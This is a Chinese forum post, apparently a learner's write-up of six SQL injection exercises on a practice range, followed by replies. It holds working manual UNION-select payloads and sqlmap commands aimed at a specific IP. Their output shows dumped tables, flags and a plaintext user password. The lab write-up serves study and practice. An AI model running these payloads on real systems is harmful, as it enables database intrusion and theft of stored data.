吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2420|回复: 6
收起左侧

[分享] 学破解第220天,《几道简单的sql注入题目》复习

[复制链接]
小菜鸟一枚 发表于 2026-2-28 14:07

前言:

  水区的朋友们,年轻就是资本,和我一起学逆向逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/forum.php?mod=viewthread&tid=2093516&page=1#pid54862410

立帖为证!--------记录学习的点点滴滴

0x1 SQL数字型GET注入

  1.目标网站的网址:aHR0cHM6Ly93d3cud2hobHdhLmNuLw==,免费靶场注册就能玩:题目给出提示信息:flag在数据库里找,复习一下相关知识,直接问deepseek要的。

探测方法 操作与Payload示例 预期现象
基本算术运算 在正常数字参数后,分别尝试进行简单的加减运算。<br>1. 正常访问:?id=2<br>2. 尝试加法:?id=2+1(URL中加号需编码为%2B)或 ?id=3-1 如果页面返回的内容与直接访问?id=2完全一致,则说明我们的运算结果(3-1=2)被数据库执行了,这极大概率存在数字型注入。
逻辑语句判断 利用 and 逻辑,通过页面的返回差异来判断。<br>1. 输入:?id=1 and 1=1 (永真条件)<br>2. 输入:?id=1 and 1=2 (永假条件) 如果第一种情况页面正常显示,而第二种情况页面异常或为空,则可以确认存在数字型注入。

小提示:数字型注入和字符型注入最大的区别在于,探测数字型注入时不需要闭合单引号,直接操作数字本身即可。

  2.随便点进一篇文章,可以看到参数是id,题目已经告诉我们是数字型get型注入

http://43.142.19.83:8034/show.php?id=33

那么模拟一下sql执行,后台执行的就是类似这样的语句了:
select 参数1,参数2,参数n from 表名 where id = 33

http://43.142.19.83:8034/show.php?id=33 order by 5
当页面出错时,说明字段数小于当前数字;当页面正常时,说明字段数大于等于当前数字。逐步缩小范围找到准确的字段数。

经过测试15正常,16报错,说明字段数就是15。
http://43.142.19.83:8034/show.php?id=33 order by 15

使用union联合查询,经过这个代码测试,发现页面出现了3,11,12三个注入点。
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

替换这三个地方,执行数据库命令
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,database(),4,5,6,7,8,9,10,version(),user(),13,14,15

输出了如下信息,数据回显成功。
cms 
test@localhost 
5.1.73 

获取当前数据库的所有表名
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

报错了,因为回显的是数字,这里返回的是字符串。
Illegal mix of collations for operation 'UNION'

使用16进制返回
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

回显:
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F75736572732C746869735F69735F666C6167 

16进制解码,看到了存放flag的表
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,this_is_flag

  3.测试流程

  1. 确定字段数order by N
  2. 找显示位union select 1,2,3...
  3. 查数据库名database()
  4. 查表名information_schema.tables
  5. 查列名information_schema.columns
  6. 查数据select 列名 from 表名

  4.接下来就是查列名,查数据,成功得到flag。

查列名
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='this_is_flag'
this_is_flag,this_is_flag

查数据
http://43.142.19.83:8034/show.php?id=-1 union select 1,2,hex(group_concat(flag)),4,5,6,7,8,9,10,11,12,13,14,15 from this_is_flag

flag{16aeb3e6d73689bf456c5c50f2d04b84}

0x2 目标2:SQL字符型注入一

  1.先来看一下题目,同样要从数据库拿到flag,这里给出了代码。

// 采用原始的Statement拼接语句,导致漏洞产生

public String jdbcVul(String id) {
    StringBuilder result = new StringBuilder();
    try {
        Class.forName("com.mysql.cj.jdbc.Driver");
        Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);

        Statement stmt = conn.createStatement();
        // 拼接语句产生SQL注入
        String sql = "select * from users where id = '" + id + "'";
        ResultSet rs = stmt.executeQuery(sql);

        while (rs.next()) {
            String res_name = rs.getString("user");
            String res_pass = rs.getString("pass");
            String info = String.format("查询结果 %s: %s", res_name, res_pass);
            result.append(info);
        }

可以看出这里select * from users where id = '     加上我们输入的id      '    拼好这样来执行

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=1%27,单引号报错,说明可以注入(没有代码的情况单引号、双引号这样探测)。

  2.还是和前面数字型注入一样的测试流程。

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=1' order by 4 --+

最后测出来3正常,4不正常,说明有3个字段。

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,2,3 --+
查询结果 2: 3

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,database(),3 --+
查询结果 test: 3

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询结果 auth,flag,users: 3

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' --+
查询结果 id,flag: 3

http://43.142.19.83:8005/SQLI/JDBC/vul1?id=-1' union select 1,concat(id,':',flag),3 from flag --+
查询结果 flag{3fac9e7cf81d710fd1a15f011d60739f}: 3

  3.成功拿到flag。

0x3 目标3:SQL字符型注入二

  1.提示信息:1、页面左上角第三个保存按钮就是代码运行测试按钮 2、flag在服务器根目录下面

// PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。

Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println("
  • 执行SQL语句:" + st); ResultSet rs = st.executeQuery();
  •   2.这一次复习一下sqlmap的使用。

    # 1. 基础检测(确认漏洞)
    sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" --batch
    
    # 2. 获取所有数据库
    sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" --dbs
    [21:44:59] [INFO] fetching database names
    available databases [4]:
    
  • information_schema
  • mysql
  • performance_schema
  • test # 3. 获取到数据库名为 test,查数据库中的所有表 sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test --tables [21:47:46] [INFO] fetching tables for database: 'test' Database: test [3 tables] +-------+ | auth  | | flag  | | users | +-------+ # 4. 看到flag表了,查看flag表结构 sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test -T flag --columns [22:05:50] [INFO] fetching columns for table 'flag' in database 'test' Database: test Table: flag [2 columns] +--------+-----------------+ | Column | Type            | +--------+-----------------+ | flag   | varchar(50)     | | id     | int(5) unsigned | +--------+-----------------+ # 5. 导出users表数据 sqlmap -u "http://43.142.19.83:8005/SQLI/JDBC/vul2?id=2" -D test -T flag --dump [22:18:16] [INFO] fetching entries for table 'flag' in database 'test' Database: test Table: flag [1 entry] +----+----------------------------------------+ | id | flag                                   | +----+----------------------------------------+ | 4  | flag{3fac9e7cf81d710fd1a15f011d60739f} | +----+----------------------------------------+
  •   3.同样成功拿到了flag,更多sqlmap也可以问deepseek。

    0x4 目标4:SQL搜索型注入01

      1.打开之后是一个搜索框,输入内容后展示信息,F12看得到是一个表单,得用post请求注入,参数就是红色的那里search。

    1.png

      2.重复前面的流程

    # 步骤2:获取数据库信息
    sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" --current-db --batch
    current database: 'dwvs'
    
    # 步骤3:获取表名
    sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs --tables --batch
    Database: dwvs
    [9 tables]
    +--------------------+
    | user               |
    | account            |
    | caffaine           |
    | dwvs_admin_message |
    | dwvs_message       |
    | dwvs_user_message  |
    | dwvs_vulnerability |
    | flag               |
    | news               |
    +--------------------+
    
    # 步骤4:获取字段名(上面出现flag表了)
    sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs -T flag --columns --batch
    Database: dwvs
    Table: flag
    [2 columns]
    +--------+-----------------+
    | Column | Type            |
    +--------+-----------------+
    | flag   | varchar(50)     |
    | id     | int(5) unsigned |
    +--------+-----------------+
    
    # 步骤5:导出数据(查看表中的数据)
    sqlmap -u "http://43.142.19.83:8002/search.php" --data="search=test" -D dwvs -T flag --dump --batch
    Database: dwvs
    Table: flag
    [1 entry]
    +----+----------------------------------------+
    | id | flag                                   |
    +----+----------------------------------------+
    | 2  | flag{8bce2844bc098845261fad79a3a56215} |
    +----+----------------------------------------+
    

      3.成功找到flag。

    0x5 目标5:POST盲注&万能密码

      1.题目考察:nmap端口扫描练习及经典的笑脸后门利用

    # 基础测试,判断是否存在注入
    sqlmap -u "http://43.142.19.83:8003/start/login.php" \
           --data="username=admin&password=123" \
           --method POST \
           --level 3 \
           --risk 2 \
           --batch
    
    探测到了信息
    web server operating system: Linux CentOS 6
    web application technology: PHP 5.3.3, Apache 2.2.15, PHP
    back-end DBMS: MySQL Unknown (Drizzle fork)

      2.判断当前数据库

    # 获取当前数据库
    sqlmap -u "http://43.142.19.83:8003/start/login.php" \
           --data="username=admin&password=123" \
           --method POST \
           --current-db \
           --batch
    
    current database: 'uinfo'

      3.查表、查数据(还是一样的测试步骤)

    # 当前数据库为"uinfo"
    sqlmap -u "http://43.142.19.83:8003/start/login.php" \
           --data="username=admin&password=123" \
           --method POST \
           -D uinfo \
           --tables \
           --batch
    
    Database: uinfo
    [1 table]
    +-------+
    | users |
    +-------+
    
    # 查users表的列信息
    sqlmap -u "http://43.142.19.83:8003/start/login.php" \
           --data="username=admin&password=123" \
           --method POST \
           -D uinfo \
           -T users \
           --columns \
           --batch
    se: uinfo
    Table: users
    [4 columns]
    +----------+-------------+
    | Column   | Type        |
    +----------+-------------+
    | id       | int(11)     |
    | password | varchar(50) |
    | remark   | varchar(50) |
    | username | varchar(50) |
    +----------+-------------+
    
    # 查users表的所有数据
    sqlmap -u "http://43.142.19.83:8003/start/login.php" \
           --data="username=admin&password=123" \
           --method POST \
           -D uinfo \
           -T users \
           --dump \
           --batch
    
    Database: uinfo
    Table: users
    [17 entries]
    +----+----------------------------------------+---------------+---------------+
    | id | remark                                 | password      | username      |
    +----+----------------------------------------+---------------+---------------+
    | 1  | flag{f99c688f101bb53fdbf178ad0889182e} | zBOLTHN4xF    | admin         |

    0x6 目标6:伪静态&搜索注入

      1.输入123搜索,抓包,看到参数是key,GET方式传参。

    GET /front/getNewsByKeyword.php?key=123 HTTP/1.1
    Host: 43.142.19.83:8001
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Connection: close
    Referer: http://43.142.19.83:8001/front/search.php
    Cookie: PHPSESSID=h4cp9o26viift83uc38pdt8347

      2.丢给sqlmap跑一下获取数据库信息,一样的测试流程。

    # 查库
    sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" --current-db --batch
    current database: 'news'
    
    # 查表
    sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news --tables --batch
    Database: news
    [6 tables]
    +--------------+
    | comment      |
    | user         |
    | flag_is_here |
    | news         |
    | recycle      |
    | root         |
    +--------------+
    
    # 查字段
    sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news -T flag_is_here --columns --batch
    Database: news
    Table: flag_is_here
    [2 columns]
    +-------------+--------------+
    | Column      | Type         |
    +-------------+--------------+
    | fid         | int(10)      |
    | flag_number | varchar(255) |
    +-------------+--------------+
    
    # 查数据
    sqlmap -u "http://43.142.19.83:8001/front/getNewsByKeyword.php?key=123" -D news -T flag_is_here --dump --batch
    Database: news
    Table: flag_is_here
    [1 entry]
    +-----+----------------------------------------+
    | fid | flag_number                            |
    +-----+----------------------------------------+
    | 1   | flag{c681ed59dd48ac30bfe913a4c73b2aaa} |
    +-----+----------------------------------------+
    

      3.成功得到了flag。

    0x7 总结

      1、都是基础题,复习一下SQL注入知识和工具使用了。

      2、有了deepseek不怕遇到困难没人指点了,现在AI很强大的,大家也可以试试掌握一点基础的逆向知识呢。

    免费评分

    参与人数 4吾爱币 +4 热心值 +4 收起 理由
    buluo533 + 1 + 1 用心讨论,共获提升!
    dgtgeeqg + 1 + 1 谢谢@Thanks!
    YZ228228 + 1 + 1 谢谢@Thanks!
    ChiZhu + 1 + 1 热心回复!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

    foubei 发表于 2026-2-28 15:12
    现在支持这样直接传的网站和直接使用参数的会比较少了。
    几度夕阳红 发表于 2026-3-1 09:10
    52pojiepojiew2 发表于 2026-3-3 11:17
    NingMo 发表于 2026-3-3 16:23
    现在防sql注入基本烂大街了,感觉这块儿很难起到作用了
    beiank 发表于 2026-3-10 10:00
    感谢楼主分享 和 科普 这个靶场看着还是很舒服的,知识的记忆 我也复习加深了1遍。 另外 楼主 我发现 【3.获取到数据库名为 test,查数据库中的所有表】 这个代码块显示的颜色 太刺眼了,您的本篇文章,就这1小块儿代码看着排版不一致。
    PoPEyEEE 发表于 2026-3-14 14:29
    以前刚开始做项目的时候,做过一个简单的h5页面,能评论。然后被一条 Alert("Helo World!");  给制裁过。

    数据库里存的就是<JavaScript>alert("xxx")</JavaScript>,进页面一加载,就弹窗。

    好在是给一些大爷大妈用的,他们也看不出来咋回事,看到了赶紧去线上给评论干掉,然后加转义符了。
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则

    返回列表

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2026-4-17 07:34

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表